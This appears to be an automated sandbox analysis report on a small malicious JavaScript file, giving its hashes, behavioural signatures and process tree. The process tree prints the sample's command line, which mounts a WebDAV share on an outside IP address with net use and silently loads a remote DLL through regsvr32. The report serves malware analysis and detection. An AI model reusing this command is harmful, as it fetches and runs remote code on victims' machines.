Analysis

  • max time kernel
    140s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 01:51

General

  • Target

    19151144212990113885.js

  • Size

    4KB

  • MD5

    fc06ccf665b1f0fe93c7098ade172ef1

  • SHA1

    eab0156759822b3fdcf654ad451837bfb288cf61

  • SHA256

    b00cdfe9031f11ee1b4ab7dbf34330e3017d57ee9f1f5e7c7f56bdf24ffd6a90

  • SHA512

    ec214cdf5a518b7037092410d88ff7e65a344ef318bea13d93120313ac48e2f8cf7abb52bda399c020c38b06c1d34d6c0416b3b9ad4aa0645f12da47520b2652

  • SSDEEP

    96:S2BH7Rawye3WSkMdwBtwCaCaCayw4AkoBtwCaCaCayw4HXCcs3xD:SgbRNye3WSkMdatzw4AkStzw4HMxD

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\19151144212990113885.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1328
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\168271403426364.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:700
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1068

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads